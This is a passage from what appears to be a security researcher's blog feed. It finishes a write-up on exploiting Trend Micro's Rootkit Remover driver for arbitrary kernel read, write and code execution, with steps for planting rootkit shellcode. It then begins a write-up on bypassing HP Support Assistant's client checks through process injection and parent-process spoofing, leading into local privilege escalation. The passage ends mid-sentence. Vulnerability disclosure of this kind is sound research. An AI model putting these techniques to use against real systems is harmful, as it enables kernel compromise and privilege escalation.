<code>DeleteTaskResults</code> to make sure the <code>Tag</code> member of the <code>MicroScan</code> is <code>PANS</code>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/fAOzNKR.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Since <code>DeleteTaskResults</code> calls the constructor specified in the virtual function table of the <code>MicroScan</code> instance, to call an arbitrary kernel function we need to:</p><ol><li>Be able to allocate at least 10 bytes of kernel memory (for vtable and tag).</li><li>Control the allocated kernel memory to set the virtual function table pointer and the tag.</li><li>Be able to determine the address of this kernel memory from user-mode.</li></ol><p>Fortunately a mentor of mine, <a href="https://twitter.com/aionescu">Alex Ionescu</a>, was able to point me in the right direction when it comes to allocating and controlling kernel memory from user-mode. A <a href="http://magazine.hitb.org/issues/HITB-Ezine-Issue-003.pdf">HackInTheBox Magazine</a> from 2010 had an article by <a href="https://twitter.com/j00ru">Matthew Jurczyk</a> called &quot;Reserve Objects in Windows 7&quot;. This article discussed using APC Reserve Objects, which was introduced in Windows 7, to allocate controllable kernel memory from user-mode. The general idea is that you can queue an Apc to an Apc Reserve Object with the <code>ApcRoutine</code> and <code>ApcArgumentX</code> members being the data you want in kernel memory and then use <code>NtQuerySystemInformation</code> to find the Apc Reserve Object in kernel memory. This reserve object will have the previously specified <code>KAPC</code> variables in a row, allowing a user-mode application to control up to 32 bytes of kernel memory (on 64-bit) and know the location of the kernel memory. I would strongly suggest reading the article if you&apos;d like to learn more.</p><p>This trick still works in Windows 10, meaning we&apos;re able to meet all three requirements. By using an Apc Reserve Object, we can allocate at least 10 bytes for the <code>MicroScan</code> structure and bypass the inadequate checks completely. The result? The ability to call arbitrary kernel pointers:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/XlE43il.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Although I provided a specific example of vulnerable code in <code>DeleteTaskResults</code>, any of the functions I marked in the table with asterisks are vulnerable. They all trust the kernel pointer specified by the untrusted client and end up calling a function in the <code>MicroScan</code> instance&apos;s virtual function table.</p><h2 id="iocontrolcode-90004033h">IoControlCode == 90004033h</h2><h3 id="discovery-3">Discovery</h3><p>This next sub dispatch table primarily manages the TrueApi class we reviewed before.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>OperationCode</strong></th>
<th><strong>PrimaryRoutine</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>EA60h</td>
<td>IoControlGetTrueAPIPointer</td>
<td>Retrieve pointers of functions in the TrueApi class.</td>
</tr>
<tr>
<td>EA61h</td>
<td>IoControlGetUtilityAPIPointer</td>
<td>Retrieve pointers of utility functions of the driver.</td>
</tr>
<tr>
<td>EA62h</td>
<td>IoControlRegisterUnloadNotify*</td>
<td>Register a function to be called on unload.</td>
</tr>
<tr>
<td>EA63h</td>
<td>IoControlUnRegisterUnloadNotify</td>
<td>Unload a previously registered unload function.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><h3 id="exploitation-1">Exploitation</h3><h3 id="iocontrolregisterunloadnotify">IoControlRegisterUnloadNotify</h3><p>This function caught my eye the moment I saw its name in a debug string. Using this sub dispatch table function, an <em>untrusted client</em> can register up to 16 arbitrary &quot;unload routines&quot; that get called when the driver unloads. This function&apos;s validator routine checks this pointer from the untrusted client buffer for validity. If the caller is from user-mode, the validator calls <code>ProbeForRead</code> on the untrusted pointer. If the caller is from kernel-mode, the validator checks that it is a valid kernel memory address.</p><p>This function cannot immediately be used in an exploit from user-mode. The problem is that if we&apos;re a user-mode caller, we <em>must</em> provide a user-mode pointer, because the validator routine uses <code>ProbeForRead</code>. When the driver unloads, this user-mode pointer gets called, but it won&apos;t do much because of mitigations such as <a href="https://en.wikipedia.org/wiki/Supervisor_Mode_Access_Prevention">SMEP</a>. I&apos;ll reference this function in a later section, but it is genuinely scary to see an untrusted user-mode client being able to direct a driver to call an arbitrary pointer <em>by design</em>.</p><h2 id="iocontrolcode-900040dfh">IoControlCode == 900040DFh</h2><p>This sub dispatch table is used to interact with the XrayApi. Although the Xray Api is generally used by scans implemented in the kernel, this sub dispatch table provides limited access for the client to interact with physical drives.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>OperationCode</strong></th>
<th><strong>PrimaryRoutine</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>15F90h</td>
<td>IoControlReadFile</td>
<td>Read a file directly from a disk.</td>
</tr>
<tr>
<td>15F91h</td>
<td>IoControlUpdateCoreList</td>
<td>Update the kernel pointers used by the Xray Api.</td>
</tr>
<tr>
<td>15F92h</td>
<td>IoControlGetDRxMapTable</td>
<td>Get a table of drives mapped to their corresponding devices.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><h2 id="iocontrolcode-900040e7h">IoControlCode == 900040E7h</h2><h3 id="discovery-4">Discovery</h3><p>The final sub dispatch is used to scan for hooks in a variety of system structures. It was interesting to see the variety of hooks Trend Micro checks for including hooks in object types, major function tables, and even function inline hooks.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>OperationCode</strong></th>
<th><strong>PrimaryRoutine</strong></th>
<th><strong>Description</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>186A0h</td>
<td>TMXMSCheckSystemRoutine</td>
<td>Check a few system routines for hooks.</td>
</tr>
<tr>
<td>186A1h</td>
<td>TMXMSCheckSystemFileIO</td>
<td>Check file IO major functions for hooks.</td>
</tr>
<tr>
<td>186A2h</td>
<td>TMXMSCheckSpecialSystemHooking</td>
<td>Check the file object type and ntoskrnl Io functions for hooks.</td>
</tr>
<tr>
<td>186A3h</td>
<td>TMXMSCheckGeneralSystemHooking</td>
<td>Check the Io manager for hooks.</td>
</tr>
<tr>
<td>186A4h</td>
<td>TMXMSCheckSystemObjectByName</td>
<td>Recursively trace a system object (either a directory or symlink).</td>
</tr>
<tr>
<td>186A5h</td>
<td>TMXMSCheckSystemObjectByName2*</td>
<td>Copy a system object into user-mode memory.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><h3 id="exploitation-2">Exploitation</h3><p>Yeah, <code>TMXMSCheckSystemObjectByName2</code> is as bad as it sounds. Before looking at the function directly, here&apos;s a few reverse engineered structures used later:</p><pre><code class="language-c++">struct CheckSystemObjectParams
{
    PVOID Src;
    PVOID Dst;
    DWORD Size;
    DWORD* OutSize;
};

struct TXMSParams
{
    DWORD OutStatus;
    DWORD HandlerID;
    CHAR unk[0x38];
    CheckSystemObjectParams* CheckParams;
};
</code></pre><p><code>TMXMSCheckSystemObjectByName2</code> takes in a Source pointer, Destination pointer, and a Size in bytes. The validator function called for <code>TMXMSCheckSystemObjectByName2</code> checks the following:</p><ul><li><code>ProbeForRead</code> on the <code>CheckParams</code> member of the <code>TXMSParams</code> structure.</li><li><code>ProbeForRead</code> and <code>ProbeForWrite</code> on the <code>Dst</code> member of the <code>CheckSystemObjectParams</code> structure.</li></ul><p>Essentially, this means that we need to pass a valid <code>CheckParams</code> structure and the <code>Dst</code> pointer we pass is in user-mode memory. Now let&apos;s look at the function itself:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/SbCqJRm.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Although that for loop may seem scary, all it is doing is an optimized method of checking a range of kernel memory. For every memory page in the range <code>Src</code> to <code>Src + Size</code>, the function calls <code>MmIsAddressValid</code>. The real scary part is the following operations:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/dCtvqs9.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>These lines take an untrusted <code>Src</code> pointer and copies <code>Size</code> bytes to the untrusted <code>Dst</code> pointer... yikes. We can use the <code>memmove</code> operations to read an arbitrary kernel pointer, but what about writing to an arbitrary kernel pointer? The problem is that the validator for <code>TMXMSCheckSystemObjectByName2</code> requires that the destination is user-mode memory. Fortunately, there is another bug in the code.</p><p>The next <code>*params-&gt;OutSize = Size;</code> line takes the <code>Size</code> member from our structure and places it at the pointer specified by the untrusted <code>OutSize</code> member. No verification is done on what <code>OutSize</code> points to, thus we can write up to a DWORD each IOCTL call. One caveat is that the <code>Src</code> pointer would need to point to valid kernel memory for up to <code>Size</code> bytes. To meet this requirement, I just passed the base of the <code>ntoskrnl</code> module as the source.</p><p>Using this arbitrary write primitive, we can use the previously found unload routines trick to execute code. Although the validator routine prevents us from passing in a kernel pointer if we&apos;re calling from user-mode, we don&apos;t actually need to go through the validator. Instead, we can write to the unload routine array inside of the driver&apos;s <code>.data</code> section using our write primitive and place the pointer we want.</p><h2 id="really-really-bad-code">Really, <em>really</em> bad code</h2><p>Typically, I like sticking to strictly security in my blog posts, but this driver made me break that tradition. In this section, we won&apos;t be covering the security issues of the driver, rather the terrible code that&apos;s used by millions of Trend Micro customers around the world.</p><h2 id="bruteforcing-processes">Bruteforcing Processes</h2><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/4EpzRLr.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Let&apos;s take a look at what&apos;s happening here. This function has a for loop from 0 to 0x10000, incrementing by 4, and retrieves the object of the process behind the current index (if there is one). If the index does match a process, the function checks if the name of the process is <code>csrss.exe</code>. If the process is named <code>csrss.exe</code>, the final check is that the session ID of the process is 0. Come on guys, there is literally documented API to enumerate processes from kernel... what&apos;s the point of bruteforcing?</p><h2 id="bruteforcing-offsets">Bruteforcing Offsets</h2><h3 id="eprocess-imagefilename-offset">EPROCESS ImageFileName Offset</h3><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/LsjwpSy.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>When I first saw this code, I wasn&apos;t sure what I was looking at. The function takes the current process, which happens to be the System process since this is called in a System thread, then it searches for the string &quot;System&quot; in the first 0x1000 bytes. What&apos;s happening is... Trend Micro is bruteforcing the <code>ImageFileName</code> member of the <code>EPROCESS</code> structure by looking for the known name of the System process inside of its <code>EPROCESS</code> structure. If you wanted the <code>ImageFileName</code> of a process, just use <code>ZwQueryInformationProcess</code> with the <code>ProcessImageFileName</code> class...</p><h3 id="eprocess-peb-offset">EPROCESS Peb Offset</h3><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/PGqgkLm.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>In this function, Trend Micro uses the PID of the <code>csrss</code> process to brute force the <code>Peb</code> member of the <code>EPROCESS</code> structure. The function retrieves the <code>EPROCESS</code> object of the <code>csrss</code> process by using <code>PsLookupProcessByProcessId</code> and it retrieves the <code>PebBaseAddress</code> by using <code>ZwQueryInformationProcess</code>. Using those pointers, it tries every offset from 0 to 0x2000 that matches the known <code>Peb</code> pointer. What&apos;s the point of finding the offset of the <code>Peb</code> member when you can just use <code>ZwQueryInformationProcess</code>, as you already do...</p><h3 id="ethread-startaddress-offset">ETHREAD StartAddress Offset</h3><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/NFEDMzz.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Here Trend Micro uses the current system thread with a known start address to brute force the <code>StartAddress</code> member of the <code>ETHREAD</code> structure. Another case where finding the raw offset is unnecessary. There is a semi-documented class of <code>ZwQueryInformationThread</code> called <code>ThreadQuerySetWin32StartAddress</code> which gives you the start address of a thread.</p><h2 id="unoptimized-garbage">Unoptimized Garbage</h2><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/dwwDBkM.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>When I initially decompiled this function, I thought IDA Pro might be simplifying a <code>memset</code> operation, because all this function was doing was setting all of the <code>TrueApi</code> structure members to zero. I decided to take a peek at the assembly to confirm I wasn&apos;t missing something...</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/r6CCzqz.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Yikes... looks like someone turned off optimizations.</p><h2 id="cheating-microsoft-s-whql-certification">Cheating Microsoft&apos;s WHQL Certification</h2><p>So far we&apos;ve covered methods to read and write arbitrary kernel memory, but there is one step missing to install our own rootkit. Although you could execute kernel shellcode with just a read/write primitive, I generally like finding the path of least resistance. Since this is a third-party driver, chances are, there is some <code>NonPagedPool</code> memory allocated which we can use to host and execute our malicious shellcode.</p><p>Let&apos;s take a look at how Trend Micro allocates memory. Early in the entrypoint of the driver, Trend Micro checks if the machine is a &quot;supported system&quot; by checking the major version, minor version, and the build number of the operating system. Trend Micro does this because they hardcode several offsets which can change between builds.</p><p>Fortunately, the <code>PoolType</code> global variable which is used to allocate non-paged memory is set to 0 (<code>NonPagedPool</code>) by default. I noticed that although this value was 0 initially, the variable was still in the <code>.data</code> section, meaning it could be changed. When I looked at what wrote to the variable, I saw that the same function responsible for checking the operating system&apos;s version also set this <code>PoolType</code> variable in certain cases.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/40RpeFI.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>From a brief glance, it looked like if our operating system is Windows 10 or a newer version, the driver prefers to use <code>NonPagedPoolNx</code>. Good from a security standpoint, but bad for us. This is used for all non-paged allocations, meaning we would have to find a spare <code>ExAllocatePoolWithTag</code> that had a hardcoded <code>NonPagedPool</code> argument otherwise we couldn&apos;t use the driver&apos;s allocated memory on Windows 10. But, it&apos;s not that straightforward. What about <code>MysteriousCheck()</code>, the second requirement for this if statement?</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/4BfxtU6.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>What <code>MysteriousCheck()</code> was doing was checking if <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/driver-verifier">Microsoft&apos;s Driver Verifier</a> was enabled... Instead of just using <code>NonPagedPoolNx</code> on Windows 8 or higher, <strong>Trend Micro placed an explicit check to only use secure memory allocations if they&apos;re being watched</strong>. Why is this not just an example of bad code? Trend Micro&apos;s driver is <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-release-signature">WHQL certified</a>:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/3LRyv0a.png" class="kg-image" alt="How to use Trend Micro&apos;s Rootkit Remover to Install a Rootkit" loading="lazy"></figure><p>Passing Driver Verifier has been a long-time requirement of obtaining WHQL certification. On Windows 10, Driver Verifier enforces that drivers do not allocate executable memory. Instead of complying with this requirement designed to secure Windows users, <strong>Trend Micro decided to ignore their user&apos;s security and designed their driver to cheat any testing or debugging environment which would catch such violations</strong>.</p><p>Honestly, I&apos;m dumbfounded. I don&apos;t understand why Trend Micro would go <em>out of their way</em> to cheat in these tests. Trend Micro could have just left the Windows 10 check, why would you even bother creating an explicit check for Driver Verifier? The only working theory I have is that for some reason most of their driver is not compatible with <code>NonPagedPoolNx</code> and that only their entrypoint is compatible, otherwise there really isn&apos;t a point.</p><h2 id="delivering-on-my-promise">Delivering on my promise</h2><p>As I promised, you can use Trend Micro&apos;s driver to install your own rootkit. Here is what you need to do:</p><ol><li>Find any <code>NonPagedPool</code> allocation by the driver. As long as you don&apos;t have Driver Verifier running, you can use any of the non-paged allocations that have their pointers stored in the <code>.data</code> section. Preferably, pick an allocation that isn&apos;t used often.</li><li>Write your kernel shellcode anywhere in the memory allocation using the arbitrary kernel write primitive in <code>TMXMSCheckSystemObjectByName2</code>.</li><li>Execute your shellcode by registering an unload routine (directly in <code>.data</code>) or using the several other execution methods present in the <code>90004027h</code> dispatch table.</li></ol><p>It&apos;s really as simple as that.</p><h2 id="conclusion">Conclusion</h2><p>I reverse <em>a lot</em> of drivers and you do typically see some pretty dumb stuff, but I was shocked at many of the findings in this article coming from a company such as Trend Micro. Most of the driver feels like proof-of-concept garbage that is held together by duct tape.</p><p>Although Trend Micro has taken basic precautionary measures such as restricting who can talk to their driver, a significant amount of the code inside of the IOCTL handlers includes very risky DKOM. Also, I&apos;m not sure how certain practices such as bruteforcing anything would get through adequate code review processes. For example, the Bruteforcing Processes code doesn&apos;t make sense, are Trend Micro developers not aware of enumerating processes via <code>ZwQuerySystemInformation</code>? What about disabling optimizations? Anti-virus already gets flak for slowing down client machines, why would you intentionally make your driver slower? To add insult to injury, this driver is used in several Trend Micro products, not just their rootkit remover. All I know going forward is that I won&apos;t be a Trend Micro customer anytime soon.</p>]]></content:encoded></item><item><title><![CDATA[Several Critical Vulnerabilities on most HP machines running Windows]]></title><description><![CDATA[<p>I always have considered bloatware a unique attack surface. Instead of the vulnerability being introduced by the operating system, it is introduced by the manufacturer that you bought your machine from. More tech-savvy folk might take the initiative and remove the annoying software that came with their machine, but will</p>]]></description><link>https://billdemirkapi.me/several-critical-vulnerabilities-on-most-hp-machines-running-windows/</link><guid isPermaLink="false">60277106d8acfdb32a87709b</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Fri, 03 Apr 2020 12:31:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2021/02/HP-Support-Assistant-for-Notebooks_1.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2021/02/HP-Support-Assistant-for-Notebooks_1.png" alt="Several Critical Vulnerabilities on most HP machines running Windows"><p>I always have considered bloatware a unique attack surface. Instead of the vulnerability being introduced by the operating system, it is introduced by the manufacturer that you bought your machine from. More tech-savvy folk might take the initiative and remove the annoying software that came with their machine, but will an average consumer? Pre-installed bloatware is the most interesting, because it provides a new attack surface impacting a significant number of users who leave the software on their machines.</p><p>For the past year, I&apos;ve been researching bloatware created by popular computer manufacturers such as Dell and Lenovo. Some of the vulnerabilities I have published include the <a href="https://d4stiny.github.io/Remote-Code-Execution-on-most-Dell-computers/">Remote Code Execution</a> and the <a href="https://d4stiny.github.io/Local-Privilege-Escalation-on-most-Dell-computers/">Local Privilege Escalation</a> vulnerability I found in Dell&apos;s own pre-installed bloatware. More often then not, I have found that this class of software has little-to-no security oversight, leading to poor code quality and a significant amount of security issues.</p><p>In this blog post, we&apos;ll be looking at <a href="https://www8.hp.com/us/en/campaigns/hpsupportassistant/hpsupport.html">HP Support Assistant</a> which is &quot;pre-installed on HP computers sold after October 2012, running Windows 7, Windows 8, or Windows 10 operating systems&quot;. We&apos;ll be walking through several vulnerabilities taking a close look at discovering and exploiting them.</p><h1 id="general-discovery">General Discovery</h1><p>Before being able to understand how each vulnerability works, we need to understand how HP Support Assistant works on a conceptual level. This section will document the background knowledge needed to understand every vulnerability in this report except for the Remote Code Execution vulnerability.</p><p>Opening a few of the binaries in <a href="https://github.com/0xd4d/dnSpy">dnSpy</a> revealed that they were &quot;packed&quot; by <a href="https://www.red-gate.com/products/dotnet-development/smartassembly/">SmartAssembly</a>. This is an ineffective attempt at security through obscurity as <a href="https://github.com/0xd4d/de4dot">de4dot</a> quickly deobfuscated the binaries.</p><p>On start, HP Support Assistant will begin hosting a &quot;service interface&quot; which exposes over 250 different functions to the client. This contract interface is exposed by a <a href="https://docs.microsoft.com/en-us/dotnet/framework/wcf/samples/netnamedpipebinding">WCF Net Named Pipe</a> for access on the local system. In order for a client to connect to the interface, the client creates a connection to the interface by connecting to the pipe <code>net.pipe://localhost/HPSupportSolutionsFramework/HPSA</code>.</p><p>This is not the only pipe created. Before a client can call on any of the useful methods in the contract interface, it must be &quot;validated&quot;. The client does this by calling on the interface method <code>StartClientSession</code> with a random string as the first argument. The service will take this random string and start two new pipes for that client.</p><p>The first pipe is called <code>\\.\pipe\Send_HPSA_[random string]</code> and the second is called <code>\\.\pipe\Receive_HPSA_[random string]</code>. As the names imply, HP uses two different pipes for sending and receiving messages.</p><p>After creating the pipes, the client will send the string &quot;Validate&quot; to the service. When the service receives any message over the pipe except &quot;close&quot;, it will automatically validate the client &#x2013; regardless of the message contents (&quot;abcd&quot; will still cause validation).</p><p>The service starts by obtaining the process ID of the process it is communicating with using <code>GetNamedPipeClientProcessId</code> on the pipe handle. The service then grabs the full image file name of the process for verification.</p><p>The first piece of verification is to ensure that the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.mainmodule?view=netframework-4.8">&quot;main module&quot; property</a> of the C# Process object equals the image name returned by <code>GetProcessImageFileName</code>.</p><p>The second verification checks that the process file is not only signed, but the subject of its certificate contains <code>hewlett-packard</code>, <code>hewlett packard</code>, or <code>o=hp inc</code>.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/ySvEYwu.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>The next verification checks the process image file name for the following:</p><ol><li>The process path is &quot;rooted&quot; (not a relative path).</li><li>The path does not start with <code>\</code>.</li><li>The path does not contain <code>..</code>.</li><li>The path does not contain <code>.\</code>.</li><li>The path is not a reparse or junction point.</li></ol><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/0RUpSjM.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>The last piece of client verification is checking that <em>each</em> parent process passes the previous verification steps AND starts with:</p><ol><li><code>C:\Program Files[ (x86)]</code></li><li><code>C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\</code></li><li><code>C:\Program Files[ (x86)]\Hewlett Packard\HP Support Solutions\</code></li><li>or <code>C:\Windows</code> (excluding <code>C:\Windows\Temp</code>)</li></ol><p>If you pass all of these checks, then your &quot;client session&quot; is added to a list of valid clients. A 4-byte integer is generated as a &quot;client ID&quot; which is returned to the client. The client can obtain the required token for calling protected methods by calling the interface method <code>GetClientToken</code> and passing the client ID it received earlier.</p><p>One extra check done is on the process file name. If the process file name is either:</p><ol><li><code>C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\HPSF.exe</code></li><li><code>C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\Resources\ProductConfig.exe</code></li><li><code>C:\Program Files[ (x86)]\Hewlett Packard\HP Support Framework\Resources\HPSFViewer.exe</code></li></ol><p>Then your token is added to a list of &quot;trusted tokens&quot;. Using this token, the client can now call certain protected methods.</p><p>Before we head into the next section, there is another key design concept important to understanding almost all of the vulnerabilities. In most of the &quot;service methods&quot;, the service often accepts several parameters about an &quot;action&quot; to take via a structure called the <code>ActionItemBase</code>. This structure has several pre-defined properties for a variety of methods that is set by the client. Anytime you see a reference to an &quot;action item base property&quot;, understand that this property is under the complete control of an attacker.</p><p>In the following sections, we&#x2019;ll be looking at several vulnerabilities found and the individual discovery/exploitation process for each one.</p><h1 id="general-exploitation">General Exploitation</h1><p>Before getting into specific exploits, being able to call protected service methods is our number one priority. Most functions in the WCF Service are &quot;protected&quot;, which means we will need to be able to call these functions to maximize the potential attack surface. Let&#x2019;s take a look at some of the mitigations discussed above and how we can bypass them.</p><p>A real issue for HP is that the product is insecure by design. There are mitigations which I think serve a purpose, such as the integrity checks mentioned in the previous section, but HP is really fighting a battle they&#x2019;ve already lost. This is because core components, such as the HP Web Product Detection rely on access to the service and run in an unprivileged context. The fact is, the current way the HP Service is designed, the service <strong>must</strong> be able to receive messages from unprivileged processes. There will always be a way to talk to the service as long as unprivileged processes are able to talk to the service.</p><p>The first choice I made is adding the <code>HP.SupportFramework.ServiceManager.dll</code> binary as a reference to my C# proof-of-concept payload because rewriting the entire client portion of the service would be a significant waste of time. There were no real checks in the binary itself and even if there were, it wouldn&apos;t have matter because it was a client-side DLL I controlled. The important checks are on the &quot;server&quot; or service side which handles incoming client connections.</p><p>The first important check to bypass is the second one where the service checks that our binary is signed by an HP certificate. This is simple to bypass because we can just fake being an HP binary. There are many ways to do this (i.e <a href="https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf">Process Doppleganging</a>), but the route I took was starting a signed HP binary <em>suspended</em> and then injecting my malicious C# DLL. This gave me the context of being from an HP Program because I started the signed binary at its real path (in Program Files x86, etc).</p><p>To bypass the checks on the parent processes of the connecting client process, I opened a <code>PROCESS_CREATE_PROCESS</code> handle to the Windows Explorer process and used the <code>PROC_THREAD_ATTRIBUTE_PARENT_PROCESS</code> attribute to spoof the parent process.</p><p>Feel free to look at the other mitigations, this method bypasses all of them maximizing the attack surface of the service.</p><h1 id="local-privilege-escalation-vulnerabilities">Local Privilege Escalation Vulnerabilities</h1><h2 id="discovery-local-privilege-escalation-1-to-3">Discovery: Local Privilege Escalation #1 to #3</h2><p>Before getting into exploitation, we need to review context required to understand each vulnerability.</p><p>Let&#x2019;s start with the protected service method named <code>InstallSoftPaq</code>. I don&#x2019;t really know what &quot;SoftPaq&quot; stands for, maybe software package? Regardless, this method is used to install HP updates and software.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/LD6Hr3Q.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>The method takes three arguments. First is an <code>ActionItemBase</code> object which specifies several details about what to install. Second is an integer which specifies the timeout for the installer that is going to be launched. Third is a Boolean indicating whether or not to install directly, it has little to no purpose because the service method uses the <code>ActionItemBase</code> to decide if it&apos;s installing directly.</p><p>The method begins by checking whether or not the action item base <code>ExecutableName</code> property is empty. If it is, the executable name will be resolved by concatenating both the action item base <code>SPName</code> property and <code>.exe</code>.</p><p>If the action item base property <code>SilentInstallString</code> is not empty, it will take a different route for executing the installer. This method is assumed to be the &quot;silent install&quot; method whereas the other one is a direct installer.</p><h3 id="silent-install">Silent Install</h3><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/HIHWRNS.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>When installing silently, the service will first check if an <code>Extract.exe</code> exists in <code>C:\Windows\TEMP</code>. If the file does exist, it compares the length of the file with a trusted Extract binary inside HP&apos;s installation directory. If the lengths do not match, the service will copy the correct Extract binary to the temporary directory.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/z3MiryO.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>The method will then check to make sure that <code>C:\Windows\TEMP</code> + the action item base property <code>ExecutableName</code> exists as a file. If the file does exist, the method will ensure that the file is signed by HP (see <a>General Discovery</a> for a detailed description of the verification).</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/A9ZHIOr.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>If the <code>SilentInstallString</code> property of the action item base contains the <code>SPName</code> property + <code>.exe</code>, the current directory for the new process will be the temporary directory. Otherwise, the method will set the current directory for the new process to <code>C:\swsetup\</code> + the <code>ExecutableName</code> property.</p><p>Furthermore, if the latter, the service will start the previously copied <code>Extract.exe</code> binary and attempt to extract the download into current directory + the <code>ExecutableName</code> property after stripping <code>.exe</code> from the string. If the extraction folder already exists, it is deleted before execution. When the <code>Extract.exe</code> binary has finished executing, the sub-method will return true. If the extraction method returns false, typically due to an exception that occurred, the download is stopped in its tracks.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/EXTfCPe.png" class="kg-image" alt="Several Critical Vulnerabilities on most HP machines running Windows" loading="lazy"></figure><p>After determining the working directory and extracting the download if necessary, the method splits the <code>SilentInstallString</code> property into an array using a double quote as the delimiter.</p><p>If the silent install split array has a length less than 2, the installation is stopped in its tracks with an error indicating that the silent install string is invalid. Otherwise, the method will check if the second element (index 1) of the split array contains <code>.exe</code>, <code>.msi</code>, or <code>.cmd</code>. If it does not, the installation is stopped.</p><p>The method will then take the second element and concatenate it with the previously resolved current directory + the executable name with <code>.exe</code> stripped + <code>\</code> + the second element. For example, if the second element was <code>cat.exe</code> and the executable name property was <code>cats</code>, the resolved path would be the current directory + <code>\cats\cat.exe</code>. If this resolved path does not exist, the installation stops.</p><p>If you passed the previous checks and the resolved path exists, the binary pointed to by the resolved path is executed. The arguments passed to the binary is the silent install string, however, the resolved path is removed from it. The installation timeout (minutes) is dictated by the second argument passed to <code>InstallSoftPaq</code>.</p><p>After the binary has finished executing or been terminated for passing the timeout period, the method returns the status of the execution and ends.</p><h3 id="direct-install">Direct Install</h3><p>When no silent install string is provided, a method named <code>StartInstallSoftpaqsDirectly</code> is executed.</p><p>The method will then check to make sure that the result of the <a href="https://docs.microsoft.com/en-us/dotnet/api/system.io.path.combine">Path.Combine</a> method with <code>C:\Windows\TEMP</code> and the action item base property <code>ExecutableName</code> as arguments exists as a file. If the file does not exist, the method stops and returns with a failure. If the file does exist, the method will ensure that the file is signed by HP (see <a>General Discovery</a> for a detailed description of the verification).</p><p>The method will then create a new scheduled task for the current time. The task is set to be executed by the Administrators group and if an Administrator is logged in, the specified program is executed immediately.</p><h2 id="exploitation-local-privilege-escalation-1-to-3">Exploitation: Local Privilege Escalation #1 to #3</h2><h3 id="local-privilege-escalation-1">Local Privilege Escalation #1</h3><p>The first simple vulnerability causing Local Privilege Escalation is in the silent install route of the exposed service method named <code>InstallSoftPaq</code>. Quoting the discovery portion of this section,</p><blockquote>When installing silently, the service will first check if an <code>Extract.exe</code> exists in <code>C:\Windows\TEMP</code>. If the file does exist, it compares the length of the file with a trusted Extract binary inside HP&apos;s installation directory. If the lengths do not match, the service will copy the correct Extract binary to the temporary directory.</blockquote><p>This is where the bug lies. Unprivileged users can write to <code>C:\Windows\TEMP</code>, but cannot enumerate the directory (<a href="https://twitter.com/mattifestation/status/1172520995472756737">thanks Matt Graeber</a>!). This allows an unprivileged 